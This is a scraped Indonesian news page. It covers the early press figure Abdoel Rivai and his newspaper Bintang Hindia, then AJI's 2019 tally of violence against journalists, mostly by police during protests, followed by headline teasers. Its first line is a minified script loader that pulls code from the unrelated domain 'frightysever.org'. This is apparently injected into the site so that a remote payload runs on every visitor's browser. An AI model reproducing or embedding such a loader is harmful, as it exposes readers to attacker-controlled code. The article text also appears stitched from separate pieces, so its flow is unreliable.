(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bersama Henri Constant Claude Clockener Brousson, Rivai menerbitkan Bintang Hindia pada Juli 1902. Meski berbeda dengan Tirto, Abdoel Rivai ini dulu lebih ‘kooperatif’ terhadap Belanda. Dia pernah memimpin surat kabar milik Belanda.
Di dalam surat kabar itu ia mengajarkan kemajuan, menjadikan bumiputera ini sebagai kemajuan jurnalisme. Pada waktu itu, Rivai mempunyai strategi mengajarkan nasionalisme dan kebangsaan.
Rivai juga seorang koresponsen pribumi yang pertama yang menulis surat kabar di Indonesia. Ia pernah tinggal di Belanda, Paris dan Eropa.
Kekerasan terhadap jurnalis menjadi salah satu isu besar yang perlu mendapat sorotan. Mengambil momentum perayaan HPN 2020 di Kalimantan Selatan yang kali ini mengangkat tema “Pers Menggelorakan Kalimantan Selatan Gerbang Ibu Kota Negara”, problem itu masih menjadi topik yang amat jauh dibahas secara spesifik.
Ketimbang memilih topik krusial tersebut, pemerintah dan penyelenggara HPN justru masih berkutat dengan pembahasan isu-isu umum kewartawanan; paling mentok isu kemerdekaan pers. HPN kali ini bertabur acara-acara yang bersifat pada sebagian sisi juga hanyalah seremoni belaka. Tak ada pernyataan dari para petinggi negara yang menyentil komitmen untuk dua persoalan itu.
Padahal, dalam catatan Aliansi Jurnalis Independen (AJI), terdapat 53 kasus kekerasan jurnalis yang terjadi sepanjang 2019 lalu. Dalam catatan tersebut, kasus kekerasan masih didominasi oleh kekerasan fisik sebanyak 20 kasus.
Setelah itu, diikuti oleh perusakan alat atau data hasil liputan (14 kasus), ancaman kekerasan atau teror (6 kasus), pemidanaan atau kriminalisasi (5 kasus), pelarangan liputan (4 kasus). Hasil monitoring AJI, polisi mendominasi dengan angka mencapai 30 kasus. Pelaku kekerasan terbanyak kedua adalah warga (7 kasus), organisasi massa atau organisasi kemasyarakatan (6 kasus), orang tak dikenal (5 kasus).
Sebagian besar kasus kekerasan itu terjadi selama demonstrasi di depan kantor Badan Pengawas Pemilu 20-21 Mei 2019 dan demonstrasi mahasiswa 23-30 September 2019 lalu. Menurut identifikasi yang dilakukan AJI, serta verifikasi yang dilakukan oleh Komite Keselamatan Jurnalis, pola dari kasus kekerasan itu sama: pelakunya polisi, penyebabnya adalah karena jurnalis mendokumentasikan kekerasan yang dilakukan mereka.
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
This website uses cookies.